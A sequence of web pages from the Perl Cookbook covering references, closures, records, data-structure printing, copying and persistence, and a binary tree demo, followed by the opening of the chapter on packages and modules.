The section on "Closures" in Chapter 4 of Programming Perl and the discussion on closures in perlref (1); Recipe 10.11; Recipe 11.4

Previous: 11.3. Taking References to Hashes | Perl Cookbook | Next: 11.5. Taking References to Scalars
11.3. Taking References to Hashes | Book Index | 11.5. Taking References to Scalars


Recipe 11.5. Taking References to Scalars

Perl CookbookSearch this book

11.5. Taking References to Scalars

Problem

You want to create and manipulate a reference to a scalar value.

Solution

To create a reference to a scalar variable, use the backslash operator:

$scalar_ref = \$scalar;       # get reference to named scalar

To create a reference to an anonymous scalar value (a value that isn't in a variable), assign through a dereference of an undefined variable:

undef $anon_scalar_ref;
$$anon_scalar_ref = 15;

This creates a reference to a constant scalar:

$anon_scalar_ref = \15;

Use ${...} to dereference:

print ${ $scalar_ref };       # dereference it
${ $scalar_ref } .= "string"; # alter referent's value

Discussion

If you want to create many new anonymous scalars, use a subroutine that returns a reference to a lexical variable out of scope, as explained in the Introduction:

sub new_anon_scalar {
    my $temp;
    return \$temp;
}

Perl almost never implicitly dereferences for you. Exceptions include references to filehandles, code references to sort, and the reference argument to bless. Because of this, you can only dereference a scalar reference by prefacing it with $ to get at its contents:

$sref = new_anon_scalar();
$$sref = 3;
print "Three = $$sref\n";
@array_of_srefs = ( new_anon_scalar(), new_anon_scalar() );
${ $array[0] } = 6.02e23;
${ $array[1] } = "avocado";
print "\@array contains: ", join(", ", map { $$_ } @array ), "\n";

Notice we have to put braces around $array[0] and $array[1]. If we tried to say $$array[0], the tight binding of dereferencing would turn it into $array->[0]. It would treat $array as an array reference and return the element at index zero.

Here are other examples where it is safe to omit the braces:

$var        = `uptime`;     # $var holds text
$vref       = \$var;        # $vref "points to" $var
if ($$vref =~ /load/) {}    # look at $var, indirectly
chomp $$vref;               # alter $var, indirectly

As mentioned in the introduction, you may use the ref built-in to inspect a reference for its referent's type. Calling ref on a scalar reference returns the string "SCALAR":

# check whether $someref contains a simple scalar reference
if (ref($someref) ne 'SCALAR') {
    die "Expected a scalar reference, not $someref\n";
}

See Also

Chapter 4 of Programming Perl and perlref (1)

Previous: 11.4. Taking References to Functions | Perl Cookbook | Next: 11.6. Creating Arrays of Scalar References
11.4. Taking References to Functions | Book Index | 11.6. Creating Arrays of Scalar References


Recipe 11.6. Creating Arrays of Scalar References

Perl CookbookSearch this book

11.6. Creating Arrays of Scalar References

Problem

You want to create and manipulate an array of references to scalars. This arises when you pass variables by reference to a function to let the function change their values.

Solution

To create an array, either backslash each scalar in the list to store in the array:

@array_of_scalar_refs = ( \$a, \$b );

or simply backslash the entire list, taking advantage of the backslash operator's distributive property:

@array_of_scalar_refs = \( $a, $b );

To get or set the value of an element of the list, use ${ ... }:

${ $array_of_scalar_refs[1] } = 12;         # $b = 12

Discussion

In the following examples, @array is a simple array containing references to scalars (an array of references is not a reference to an array). To access the original data indirectly, braces are critical.

($a, $b, $c, $d) = (1 .. 4);        # initialize
@array =  (\$a, \$b, \$c, \$d);     # refs to each scalar
@array = \( $a,  $b,  $c,  $d);     # same thing!
@array = map { \my $anon } 0 .. 3;  # allocate 4 anon scalarresf

${ $array[2] } += 9;                # $c now 12

${ $array[ $#array ] } *= 5;        # $d now 20
${ $array[-1] }        *= 5;        # same; $d now 100

$tmp   = $array[-1];                # using temporary
$$tmp *= 5;                         # $d now 500

The two assignments to @array are equivalent - the backslash operator is distributive across a list. So preceding a list (not an array) with a backslash is the same as applying a backslash to everything in that list. The ensuing code changes the values of the variables whose references were stored in the array.

Here's how to deal with such an array without explicit indexing.

use Math::Trig qw(pi);              # load the constant pi
foreach $sref (@array) {            # prepare to change $a,$b,$c,$d
    ($$sref **= 3) *= (4/3 * pi);   # replace with spherical volumes
}

This code uses the formula for deriving the volume of a sphere:

The $sref loop index variable is each reference in @array, and $$sref is the number itself, that is, the original variables $a, $b, $c, and $d. Changing $$sref in the loop changes those variables as well. First we replace $$sref with its cube, then multiply the resulting value by 4/3 [pi]. This takes advantage of the fact that assignment in Perl returns an lvalue, letting you chain assignment operators together as we've done using the **= and *= assignment operators.

Actually, anonymous scalars are pretty useless, given that a scalar value fits in the same space as a scalar reference. That's why there's no explicit composer. Scalar references exist only to allow aliasing - which can be done in other ways.

See Also

The section on "Assignment Operators" in Chapter 2 of Programming Perl and in perlop (1)

Previous: 11.5. Taking References to Scalars | Perl Cookbook | Next: 11.7. Using Closures Instead of Objects
11.5. Taking References to Scalars | Book Index | 11.7. Using Closures Instead of Objects


Recipe 11.7. Using Closures Instead of Objects

Perl CookbookSearch this book

11.7. Using Closures Instead of Objects

Problem

You want records with private state, behavior, and identity, but you don't want to learn object-oriented programming to accomplish this.

Solution

Write a function that returns (by reference) a hash of code references. These code references are all closures created in the same scope, so when they execute, they'll all share the same set of bindings to private variables.

Discussion

Because a closure is a binding of code and data, it can implement what might be thought of as an object.

Here's an example that creates and returns a hash of anonymous functions. mkcounter takes an argument of a seed counter and returns a hash reference that you can use to manipulate the counter indirectly.

$c1 = mkcounter(20);
$c2 = mkcounter(77);

printf "next c1: %d\n", $c1->{NEXT}->();  # 21
printf "next c2: %d\n", $c2->{NEXT}->();  # 78
printf "next c1: %d\n", $c1->{NEXT}->();  # 22
printf "last c1: %d\n", $c1->{PREV}->();  # 21
printf "old  c2: %d\n", $c2->{RESET}->(); # 77

The code values in the hash references in $c1 and $c2 maintain their own separate state. Here's how to set that up:

sub mkcounter {
    my $count  = shift;
    my $start  = $count;
    my $bundle = {
        "NEXT"   => sub { return ++$count  },
        "PREV"   => sub { return --$count  },
        "GET"    => sub { return $count    },
        "SET"    => sub { $count = shift   },
        "BUMP"   => sub { $count += shift  },
        "RESET"  => sub { $count = $start  },
    };
    $bundle->{"LAST"} = $bundle->{"PREV"};
    return $bundle;
}

Because the lexical variables used by the closures in the $bundle hash reference are returned by the function, they are not deallocated. The next time mkcounter is called, the closures get a different set of variable bindings for the same code. Because no one outside of those closures can access these two variables, this assures you of true privacy.

The assignment right before the return makes both the "PREV" and "LAST" values point to the same closure. Depending on your object-oriented background, you might think of these as being two different messages, both implemented using the same method.

The bundle we return is not an object in that it has no obvious inheritance and polymorphism. (Yet.) But it certainly does have state, behavior, and identity, as well as encapsulation.

See Also

The section on "Closures" in Chapter 4 of Programming Perl and the discussion on closures in perlref (1); Recipe 11.4; Recipe 11.9; Chapter 13

Previous: 11.6. Creating Arrays of Scalar References | Perl Cookbook | Next: 11.8. Creating References to Methods
11.6. Creating Arrays of Scalar References | Book Index | 11.8. Creating References to Methods


Recipe 11.8. Creating References to Methods

Perl CookbookSearch this book

11.8. Creating References to Methods

Problem

You want to store a reference to a method.

Solution

Create a closure that makes the proper method call on the appropriate object.

Discussion

When you ask for a reference to a method, you're asking for more than just a raw function pointer. You also need to record which object the method needs to be called upon as the object contains the data the method will work with. The best way to do this is using a closure. Assuming $obj is lexically scoped, you can say:

$mref = sub { $obj->meth(@_) };
# later...
$mref->("args", "go", "here");

Even when $obj goes out of scope, the closure stored in $mref has captured it. Later when it's called indirectly, the correct object is used for the method call.

Be aware that the notation:

$sref = \$obj->meth;

doesn't do what you probably expected. It first calls the method on that object and gives you either a reference to the return value or a reference to the last of the return values if the method returns a list.

The can method from the UNIVERSAL base class, while appealing, is also unlikely to produce what you want.

$cref = $obj->can("meth");

This produces a code ref to the appropriate method (should one be found), one that carries no object information. Think of it as a raw function pointer. The information about the object is lost. That's why you need a closure to capture both the object state as well as the method to call.

See Also

The discussion on methods in the Introduction to Chapter 13; Recipe 11.7; Recipe 13.7

Previous: 11.7. Using Closures Instead of Objects | Perl Cookbook | Next: 11.9. Constructing Records
11.7. Using Closures Instead of Objects | Book Index | 11.9. Constructing Records


Recipe 11.9. Constructing Records

Perl CookbookSearch this book

11.9. Constructing Records

Problem

You want to create a record data type.

Solution

Use a reference to an anonymous hash.

Discussion

Suppose you wanted to create a data type that contained various data fields, akin to a C struct or a Pascal RECORD. The easiest way is to use an anonymous hash. For example, here's how to initialize and use that record:

$record = {
    NAME   => "Jason",
    EMPNO  => 132,
    TITLE  => "deputy peon",
    AGE    => 23,
    SALARY => 37_000,
    PALS   => [ "Norbert", "Rhys", "Phineas"],
};

printf "I am %s, and my pals are %s.\n",
    $record->{NAME},
    join(", ", @{$record->{PALS}});

Just having one of these records isn't much fun - you'd like to build larger structures. For example, you might want to create a %ByName hash that you could initialize and use this way:

# store record
$byname{ $record->{NAME} } = $record;

# later on, look up by name
if ($rp = $byname{"Aron"}) {        # false if missing
    printf "Aron is employee %d.\n", $rp->{EMPNO};
}

# give jason a new pal
push @{$byname{"Jason"}->{PALS}}, "Theodore";
printf "Jason now has %d pals\n", scalar @{$byname{"Jason"}->{PALS}};

That makes %byname a hash of hashes, because its values are hash references. Looking up employees by name would be easy using such a structure. If we find a value in the hash, we store a reference to the record in a temporary variable, $rp, which we then use to get any field we want.

We can use our existing hash tools to manipulate %byname. For instance, we could use the each iterator to loop through it in an arbitrary order:

# Go through all records
while (($name, $record) = each %byname) {
    printf "%s is employee number %d\n", $name, $record->{EMPNO};
}

What about looking employees up by employee number? Just build and use another data structure, an array of hashes called @employees. If your employee numbers aren't consecutive (for instance, they jump from 1 to 159997) an array would be a bad choice. Instead, you should use a hash mapping employee number to record. For consecutive employee numbers, use an array:

# store record
$employees[ $record->{EMPNO} ] = $record;

# lookup by id
if ($rp = $employee[132]) {
    printf "employee number 132 is %s\n", $rp->{NAME};
}

With a data structure like this, updating a record in one place effectively updates it everywhere. For example, this gives Jason a 3.5% raise:

$byname{"Jason"}->{SALARY} *= 1.035;

This change is reflected in all views of these records. Remember that both $byname{"Jason"} and $employees[132] refer to the same record because the references they contain refer to the same anonymous hash.

How would you select all records matching a particular criterion? This is what grep is for. Here's how to get everyone with "peon" in their titles or all the 27-year-olds:

@peons   = grep { $_->{TITLE} =~ /peon/i } @employees;
@tsevens = grep { $_->{AGE}   == 27 }      @employees;

Each element of @peons and @tsevens is itself a reference to a record, making them arrays of hashes, like @employees.

Here's how to print all records sorted in a particular order, say by age:

# Go through all records
foreach $rp (sort { $a->{AGE} <=> $b->{AGE} } values %byname) {
    printf "%s is age %d.\n", $rp->{NAME}, $rp->{AGE};
    # or with a hash slice on the reference
    printf "%s is employee number %d.\n", @$rp{'NAME','EMPNO'};
}

Rather than take time to sort them by age, you could just create another view of these records, @byage. Each element in this array, $byage[27] for instance, would be an array of all the records with that age. In effect, this is an array of arrays of hashes. You would build it this way:

# use @byage, an array of arrays of records
push @{ $byage[ $record->{AGE} ] }, $record;

Then you could find them all this way:

for ($age = 0; $age <= $#byage; $age++) {
    next unless $byage[$age];
    print "Age $age: ";
    foreach $rp (@{$byage[$age]}) {
        print $rp->{NAME}, " ";
    }
    print "\n";
}

A similar approach is to use map to avoid the foreach loop:

for ($age = 0; $age <= $#byage; $age++) {
    next unless $byage[$age];
    printf "Age %d: %s\n", $age,
        join(", ", map {$_->{NAME}} @{$byage[$age]});
}

See Also

Recipe 4.13; Recipe 11.3

Previous: 11.8. Creating References to Methods | Perl Cookbook | Next: 11.10. Reading and Writing Hash Records to Text Files
11.8. Creating References to Methods | Book Index | 11.10. Reading and Writing Hash Records to Text Files


Recipe 11.10. Reading and Writing Hash Records to Text Files

Perl CookbookSearch this book

11.10. Reading and Writing Hash Records to Text Files

Problem

You want to read or write hash records to text files.

Solution

Use a simple file format with one field per line:

FieldName: Value

and separate records with blank lines.

Discussion

If you have an array of records that you'd like to store and retrieve from a text file, you can use a simple format based on mail headers. The format's simplicity requires that the keys have neither colons nor newlines, and the values not have newlines.

This code writes them out:

foreach $record (@Array_of_Records) {
    for $key (sort keys %$record) {
        print "$key: $record->{$key}\n";
    }
    print "\n";
}

Reading them in is easy, too.

$/ = "";                # paragraph read mode
while (<>) {
    my @fields = split /^([^:]+):\s*/m;
    shift @fields;      # for leading null field
    push(@Array_of_Records, { map /(.*)/, @fields });
}

The split acts upon $_ , its default second argument, which contains a full paragraph. The pattern looks for start of line (not just start of record, thanks to the /m) followed by one or more non-colons, followed by a colon and optional white space. When split's pattern contains parentheses, these are returned along with the values. The return values placed in @fields are in key-value order, with a leading null field we shift off. The braces in the call to push produces a reference to a new anonymous hash, which we copy @fields into. Since that array was stored in order of the needed key-value pairing, this makes for well-ordered hash contents.

All you're doing is reading and writing a plain text file, so you can use related recipes for additional components. You could use Recipe 7.11 to ensure that you have clean, concurrent access; Recipe 1.13 to store colons and newlines in keys and values; and Recipe 11.3 store more complex structures.

If you are willing to sacrifice the elegance of a plain textfile for a quick, random-access database of records, use a DBM file, as described in Recipe 11.14.

See Also

The split function in perlfunc (1) and Chapter 3 of Programming Perl; Recipe 11.9; Recipe 11.13; Recipe 11.14

Previous: 11.9. Constructing Records | Perl Cookbook | Next: 11.11. Printing Data Structures
11.9. Constructing Records | Book Index | 11.11. Printing Data Structures


Recipe 11.11. Printing Data Structures

Perl CookbookSearch this book

11.11. Printing Data Structures

Problem

You want to print out a data structure.

Solution

If the output's legibility and layout are important, write your own custom printing routine.

If you are in the Perl debugger, use the x command:

DB<1> $reference = [ { "foo" => "bar" }, 3, sub { print "hello, world\n" } ];
DB<2> x $reference
  0  ARRAY(0x1d033c)
    0  HASH(0x7b390)
       'foo' = 'bar'>
    1  3
    2  CODE(0x21e3e4)
       - & in ???>

From within your own programs, use the Dumper function from the CPAN module Data::Dumper:

use Data::Dumper;
print Dumper($reference);

Discussion

Sometimes you'll want to make a dedicated function for your data structure that delivers a particular output format, but often this is overkill. If you're running under the Perl debugger, the x and X commands provide nice pretty-printing. The x command is more useful because it works on both global and lexical variables, whereas X only works on globals. Pass x a reference to the data structure you want to print.

D<1> x \@INC
  0  ARRAY(0x807d0a8)
     0  '/home/tchrist/perllib'
     1  '/usr/lib/perl5/i686-linux/5.00403'
     2  '/usr/lib/perl5'
     3  '/usr/lib/perl5/site_perl/i686-linux'
     4  '/usr/lib/perl5/site_perl'
     5  '.'

These commands use the dumpvar.pl library. Here's an example:

{ package main; require "dumpvar.pl" }
*dumpvar = \&main::dumpvar if __PACKAGE__ ne 'main';
dumpvar("main", "INC");             # show both @INC and %INC

The dumpvar.pl library isn't a module, but we wish it were - so we cajole it into exporting its dumpvar function anyway. The first two lines forcibly import the main::dumpvar function from package main into the current package, assuming it's different. Here's the output of that call:

@INC = (
   0  '/home/tchrist/perllib/i686-linux'
   1  '/home/tchrist/perllib'
   2  '/usr/lib/perl5/i686-linux/5.00404'
   3  '/usr/lib/perl5'
   4  '/usr/lib/perl5/site_perl/i686-linux'
   5  '/usr/lib/perl5/site_perl'
   6  '.'
)
%INC = (
   'dumpvar.pl' = '/usr/lib/perl5/i686-linux/5.00404/dumpvar.pl'
   'strict.pm' = '/usr/lib/perl5/i686-linux/5.00404/strict.pm'
)

The Data::Dumper module, located on CPAN, has a more flexible solution. It provides a Dumper function that takes a list of references and returns a string with a printable (and evalable) form of those references.

use Data::Dumper;
print Dumper(\@INC);
$VAR1 = [
      '/home/tchrist/perllib',
      '/usr/lib/perl5/i686-linux/5.00403',
      '/usr/lib/perl5',
      '/usr/lib/perl5/site_perl/i686-linux',
      '/usr/lib/perl5/site_perl',
      '.'
];

Data::Dumper supports a variety of output formats. Check its documentation for details.

See Also

The documentation for the CPAN module Data::Dumper; the section "The Perl Debugger" from Chapter 8 of Programming Perl or perldebug (1)

Previous: 11.10. Reading and Writing Hash Records to Text Files | Perl Cookbook | Next: 11.12. Copying Data Structures
11.10. Reading and Writing Hash Records to Text Files | Book Index | 11.12. Copying Data Structures


Recipe 11.12. Copying Data Structures

Perl CookbookSearch this book

11.12. Copying Data Structures

Problem

You need to copy a complex data structure.

Solution

Use the dclone function from the Storable module from CPAN:

use Storable;

$r2 = dclone($r1);

Discussion

Two types of "copy" are sometimes confused. A surface copy (also known as shallow copy) simply copies references without creating copies of the data behind them:

@original = ( \@a, \@b, \@c );
@surface = @original;

A deep copy creates an entirely new structure with no overlapping references. This copies references to 1 layer deep:

@deep = map { [ @$_ ] } @original;

If @a, @b, and @c themselves contain references, the preceding map is no longer adequate. Writing your own code to deep-copy structures is laborious and rapidly becomes tiresome.

The Storable module, found on CPAN, provides a function called dclone that recursively copies its argument:

use Storable qw(dclone);
$r2 = dclone($r1);

This only works on references or blessed objects of type SCALAR, ARRAY, or HASH; references of type CODE, GLOB, and IO and more esoteric types are not supported. The safeFreeze function from the FreezeThaw module supports these when used in the same address space by using a reference cache that could interfere with garbage collection and object destructors under some circumstances.

Because dclone takes and returns references, you must add extra punctuation if you have a hash of arrays that you want to copy:

%newhash = %{ dclone(\%oldhash) };

See Also

The documentation for the CPAN modules Storable, Data::Dumper, and FreezeThaw

Previous: 11.11. Printing Data Structures | Perl Cookbook | Next: 11.13. Storing Data Structures to Disk
11.11. Printing Data Structures | Book Index | 11.13. Storing Data Structures to Disk


Recipe 11.13. Storing Data Structures to Disk

Perl CookbookSearch this book

11.13. Storing Data Structures to Disk

Problem

You want to save your large, complex data structure to disk so you don't have to build it up each time your program runs.

Solution

Use the CPAN module Storable's store and retrieve functions:

use Storable;
store(\%hash, "filename");

# later on...
$href = retrieve("filename");        # by ref
%hash = %{ retrieve("filename") };   # direct to hash

Discussion

The Storable module uses C functions and a binary format to walk Perl's internal data structures and lay out its data. It's more efficient than a pure Perl and string-based approach, but it's also more fragile.

The store and retrieve functions expect binary data using the machine's own byte-ordering. This means files created with these functions cannot be shared across different architectures. nstore does the same job store does, but keeps data in canonical (network) byte order, at a slight speed cost:

use Storable qw(nstore);
nstore(\%hash, "filename");
# later ...
$href = retrieve("filename");

No matter whether store or nstore was used, you need to call the same retrieve routine to restore the objects in memory. The producer must commit to portability, but the consumer doesn't have to. Code needs only to be changed in one place when the producer changes their mind and the code thus offers a consistent interface on the consumer side, who does not need to know or care.

The store and nstore functions don't lock any of the files they work on. If you're worried about concurrent access, open the file yourself, lock it using Recipe 7.11, and then use store_fd or its slower but machine-independent version nstore_fd.

Here's code to save a hash to a file, with locking. We don't open with the O_TRUNC flag because we have to wait to get the lock before we can clobber the file.

use Storable qw(nstore_fd);
use Fcntl qw(:DEFAULT :flock);
sysopen(DF, "/tmp/datafile", O_RDWR|O_CREAT, 0666)
    or die "can't open /tmp/datafile: $!";
flock(DF, LOCK_EX)           or die "can't lock /tmp/datafile: $!";
nstore_fd(\%hash, *DF)
    or die "can't store hash\n";
truncate(DF, tell(DF));
close(DF);

Here's code to restore that hash from a file, with locking:

use Storable;
use Fcntl qw(:DEFAULT :flock);
open(DF, "< /tmp/datafile")      or die "can't open /tmp/datafile: $!";
flock(DF, LOCK_SH)               or die "can't lock /tmp/datafile: $!";
$href = retrieve(*DF);
close(DF);

With care, you can pass large data objects efficiently between processes with this strategy, since a filehandle connected to a pipe or socket is still a byte stream, just like a plain file.

Unlike the various DBM bindings, Storable does not restrict you to using only hashes (or arrays, with DB_File). Arbitrary data structures, including objects, can be stored to disk. The whole structure must be read in or written out in its entirety.

See Also

The section on "Remote Procedure Calls (RPC)" in Chapter 13 of Advanced Perl Programming; Recipe 11.14

Previous: 11.12. Copying Data Structures | Perl Cookbook | Next: 11.14. Transparently Persistent Data Structures
11.12. Copying Data Structures | Book Index | 11.14. Transparently Persistent Data Structures


Recipe 11.14. Transparently Persistent Data Structures

Perl CookbookSearch this book

11.14. Transparently Persistent Data Structures

Problem

You have a complex data structure that you want to persist outside your program.

Solution

Use MLDBM and either (preferably) DB_File, or else GDBM_File:

use MLDBM qw(DB_File);
use Fcntl;

tie(%hash, 'MLDBM', 'testfile.db', O_CREAT|O_RDWR, 0666)
    or die "can't open tie to testfile.db: $!";

# ... act on %hash

untie %hash;

Discussion

A hash with 100,000 items in it would undoubtably take considerable time to build. Storing this to disk, either slowly by hand or quickly with Storable, is still an expensive operation in memory and computation.

The DBM modules solve this by tying hashes to disk database files. Rather than reading the whole structure in at once, they only pull in what they need, when they need it. To the user, it looks like a hash that persists across program invocations.

Unfortunately, the values in this persistent hash must be plain strings. You cannot readily use a database file as a backing store for a hash of hashes, a hash of arrays, and so on, just for a hash of strings.

However, the MLDBM module from CPAN allows you to store references in a database. It uses Data::Dumper to stringify these references for external storage:

use MLDBM qw(DB_File);
use Fcntl;
tie(%hash, 'MLDBM', 'testfile.db', O_CREAT|O_RDWR, 0666)
    or die "can't open tie to testfile.db: $!";

Now you can use %hash to fetch or store complex records from disk. The only drawback is that you can't access the references piecemeal. You have to pull in the reference from the database, work with it, and then store it back.

# this doesn't work!
$hash{"some key"}[4] = "fred";

# RIGHT
$aref = $hash{"some key"};
$aref->[4] = "fred";
$hash{"some key"} = $aref;

See Also

The documentation for the CPAN module MLDBM; Recipe 14.1; Recipe 14.7; Recipe 14.11

Previous: 11.13. Storing Data Structures to Disk | Perl Cookbook | Next: 11.15. Program: Binary Trees
11.13. Storing Data Structures to Disk | Book Index | 11.15. Program: Binary Trees


Recipe 11.15. Program: Binary Trees

Perl CookbookSearch this book

11.15. Program: Binary Trees

Because Perl's built-in data types are already powerful, high-level, dynamic data types in their own right, most code can use what's already provided. If you just want quick lookups, you nearly always want to use a simple hash. As Larry has said, "The trick is to use Perl's strengths rather than its weaknesses."

However, hashes provide no inherent ordering. To traverse the hash in a particular order, you must first extract its keys and then sort them. If you find yourself doing so many times, performance will suffer, but probably not enough to justify the time required to craft a fancy algorithm.

A tree structure provides ordered traversals. How do you write a tree in Perl? First, you grab one of your favorite textbooks on data structures; the authors recommend Cormen et al., as mentioned in the "Other Books" section of the Preface. Using an anonymous hash to represent each node in the tree, translate the algorithms in the book into Perl. This is usually much more straightforward than you would imagine.

The program code in Example 11.1 demonstrates a simple binary tree implementation using anonymous hashes. Each node has three fields: a left child, a right child, and a value. The crucial property of an ordered binary tree is that all its left children have values less than the current node's value, and all right children have values greater than the current node's value.

The main program does three things. First, it creates a tree with 20 random nodes. Then it shows the in-order, pre-order, and post-order traversals of that tree. Finally, it allows the user to enter a key, and it reports whether that key is in the tree.

The insert function takes advantage of Perl's implicit pass-by-reference behavior on scalars to initialize an empty tree when asked to insert into an empty node. The assignment of the new node back to $_[0] alters the value in its caller.

Although this data structure takes much more memory than a simple hash and the lookups are slower, the ordered traversals themselves are faster.

If you want to learn more about binary trees, Introduction to Algorithms by Cormen, Leiserson, and Rivest and Algorithms in C by Robert Sedgewick both cover the material. A B-Tree is not a binary tree; it is a more flexible tree structure normally maintained on disk. DB_File has a BTREE interface (see DB_File (3)), and Mark-Jason Dominus has an excellent article on B-Trees in The Perl Journal, Volume 2, Issue 4, Winter 1997, pp. 35-42.

The program is shown in Example 11.1.

Example 11.1: bintree

#!/usr/bin/perl -w
# bintree - binary tree demo program
use strict;
my($root, $n);

# first generate 20 random inserts
while ($n++ < 20) { insert($root, int(rand(1000)))}

# now dump out the tree all three ways
print "Pre order:  ";  pre_order($root);  print "\n";
print "In order:   ";  in_order($root);   print "\n";
print "Post order: ";  post_order($root); print "\n";

# prompt until EOF
for (print "Search? "; <>; print "Search? ") {
    chomp;
    my $found = search($root, $_);
    if ($found) { print "Found $_ at $found, $found->{VALUE}\n" }
    else        { print "No $_ in tree\n" }
}

exit;

#########################################

# insert given value into proper point of
# provided tree.  If no tree provided,
# use implicit pass by reference aspect of @_
# to fill one in for our caller.
sub insert {
    my($tree, $value) = @_;
    unless ($tree) {
        $tree = {};                         # allocate new node
        $tree->{VALUE}  = $value;
        $tree->{LEFT}   = undef;
        $tree->{RIGHT}  = undef;
        $_[0] = $tree;              # $_[0] is reference param!
        return;
    }
    if    ($tree->{VALUE} > $value) { insert($tree->{LEFT},  $value) }
    elsif ($tree->{VALUE} < $value) { insert($tree->{RIGHT}, $value) }
    else                            { warn "dup insert of $value\n"  }
                                    # XXX: no dups
}

# recurse on left child,
# then show current value,
# then recurse on right child.
sub in_order {
    my($tree) = @_;
    return unless $tree;
    in_order($tree->{LEFT});
    print $tree->{VALUE}, " ";
    in_order($tree->{RIGHT});
}

# show current value,
# then recurse on left child,
# then recurse on right child.
sub pre_order {
    my($tree) = @_;
    return unless $tree;
    print $tree->{VALUE}, " ";
    pre_order($tree->{LEFT});
    pre_order($tree->{RIGHT});
}

# recurse on left child,
# then recurse on right child,
# then show current value.
sub post_order {
    my($tree) = @_;
    return unless $tree;
    post_order($tree->{LEFT});
    post_order($tree->{RIGHT});
    print $tree->{VALUE}, " ";
}

# find out whether provided value is in the tree.
# if so, return the node at which the value was found.
# cut down search time by only looking in the correct
# branch, based on current value.
sub search {
    my($tree, $value) = @_;
    return unless $tree;
    if ($tree->{VALUE} == $value) {
        return $tree;
    }
    search($tree->{ ($value < $tree->{VALUE}) ? "LEFT" : "RIGHT"}, $value)
}

Previous: 11.14. Transparently Persistent Data Structures | Perl Cookbook | Next: 12. Packages, Libraries, and Modules
11.14. Transparently Persistent Data Structures | Book Index | 12. Packages, Libraries, and Modules


[Chapter 12] Packages, Libraries, and Modules

Perl CookbookSearch this book
Previous: 11.15. Program: Binary Trees Chapter 12 Next: 12.1. Defining a Module's Interface

12. Packages, Libraries, and Modules

Contents:
Introduction
Defining a Module's Interface
Trapping Errors in require or use
Delaying use Until Run Time
Making Variables Private to a Module
Determining the Caller's Package
Automating Module Clean-Up
Keeping Your Own Module Directory
Preparing a Module for Distribution
Speeding Module Loading with SelfLoader
Speeding Up Module Loading with Autoloader
Overriding Built-In Functions
Reporting Errors and Warnings Like Built-Ins
Referring to Packages Indirectly
Using h2ph to Translate C #include Files
Using h2xs to Make a Module with C Code
Documenting Your Module with Pod
Building and Installing a CPAN Module
Example: Module Template
Program: Finding Versions and Descriptions of Installed Modules

Like all those possessing a library, Aurelian was aware that he was guilty of not knowing his in its entirety.

- Jorge Luis Borges The Theologians

12.0. Introduction

Imagine that you have two separate programs, both of which work fine by themselves, and you decide to make a third program that combines the best features from the first two. You copy both programs into a new file or cut and paste selected pieces. You find that the two programs had variables and functions with the same names that should remain separate. For example, both might have an init function or a global $count variable. When merged into one program, these separate parts would interfere with each other.

The solution to this problem is packages. Perl uses packages to partition the global namespace. The package is the basis for both traditional modules and object-oriented classes. Just as directories contain files, packages contain identifiers. Every global identifier (variables, functions, file and directory handles, and formats) has two parts: its package name and the identifier proper. These two pieces are separated from one another with a double colon. For example, the variable $CGI::needs_binmode is a global variable named $needs_binmode, which resides in package CGI.

Where the filesystem uses slashes to separate the directory from the filename, Perl uses a double colon (prior to release 5.000, you could only use a single quote mark, as in $CGI'needs_bin_mode). $Names::startup is the variable named $startup in the package Names, whereas $Dates::startup is the $startup variable in package Dates. Saying $startup by itself without a package name means the global variable $startup in the current package. (This assumes that no lexical $startup variable is currently visible. Lexical variables are explained in Chapter 10, Subroutines.) When looking at an unqualified variable name, a lexical takes precedence over a global. Lexicals live in scopes; globals live in packages. If you really want the global instead, you need to fully qualify it.

package is a compile-time declaration that sets the default package prefix for unqualified global identifiers, just as chdir sets the default directory prefix for relative pathnames. This effect lasts until the end of the current scope (a brace-enclosed block, file, or eval). The effect is also terminated by any subsequent package statement in the same scope. (See the following code.) All programs are in package main until they use a package statement to change this.

package Alpha;
$name = "first";

package Omega;
$name = "last";

package main;
print "Alpha is $Alpha::name, Omega is $Omega::name.\n";
Alpha is first, Omega is last.

Unlike user-defined identifiers, built-in variables with punctuation names (like $_ and $.) and the identifiers STDIN, STDOUT, STDERR, ARGV, ARGVOUT, ENV, INC, and SIG are all forced to be in package main when unqualified. That way things like STDIN, @ARGV, %ENV, and $_ are always the same no matter what package you're in; for example, @ARGV always means @main::ARGV, even if you've used package to change the default package. A fully qualified @ElseWhere::ARGV would not (and carries no special built-in meaning). Make sure to localize $_ if you use it in your module.

Modules

The unit of software reuse in Perl is the module, a file that has a collection of related functions designed to be used by other programs and library modules. Every module has a public interface, a set of variables and functions that outsiders are encouraged to use. From inside the module, the interface is defined by initializing certain package variables that the standard Exporter module looks at. From outside the module, the interface is accessed by importing symbols as a side effect of the use statement. The public interface of a Perl module is whatever is documented to be public. In the case of undocumented interfaces, it's whatever is vaguely intended to be public. When we talk about modules in this chapter, and traditional modules in general, we mean those that use the Exporter.

The require or use statements both pull a module into your program, although their semantics are slightly different. require loads modules at runtime, with a check to avoid the redundant loading of a given module. use is like require, with two added properties: compile-time loading and automatic importing.

Modules included with use are processed at compile time, but require processing happens at run time. This is important because if a module that a program needs is missing, the program won't even start because the use fails during compilation of your script. Another advantage of compile-time use over run-time require is that function prototypes in the module's subroutines become visible to the compiler. This matters because only the compiler cares about prototypes, not the interpreter. (Then again, we don't usually recommend prototypes except for replacing built-in commands, which do have them.)

use is suitable for giving hints to the compiler because of its compile-time behavior. A pragma is a special module that acts as directive to the compiler to alter how Perl compiles your code. A pragma's name is always all lowercase, so when writing a regular module instead of a pragma, choose a name that starts with a capital letter. Pragmas supported by Perl 5.004 include autouse, constant, diagnostics, integer, lib, locale, overload, sigtrap, strict, subs, and vars. Each has its own manpage.

The other difference between require and use is that use performs an implicit import on the included module's package. Importing a function or variable from one package to another is a form of aliasing; that is, it makes two different names for the same underlying thing. It's like linking in files from another directory to your current one by the command ln /somedir/somefile. Once it's linked in, you no longer have to use the full pathname to access the file. Likewise, an imported symbol no longer needs to be fully qualified by package name (or predeclared with use vars or use subs). You can use imported variables as though they were part of your package. If you imported $English::OUTPUT_AUTOFLUSH in the current package, you could refer to it as $OUTPUT_AUTOFLUSH.

The required file extension for a Perl module is ".pm". The module named FileHandle would be stored in the file FileHandle.pm. The full path to the file depends on your include path, which is stored in the global @INC variable. Recipe 12.7 shows how to manipulate this array to your own purposes.

If the module name itself contains one or more double colons, these are translated into your system's directory separator. That means that the File::Find module resides in the file File/Find.pm under most filesystems. For example:

require "FileHandle.pm";            # run-time load
require FileHandle;                 # ".pm" assumed; same as previous
use FileHandle;                     # compile-time load

require "Cards/Poker.pm";           # run-time load
require Cards::Poker;               # ".pm" assumed; same as previous
use Cards::Poker;                   # compile-time load

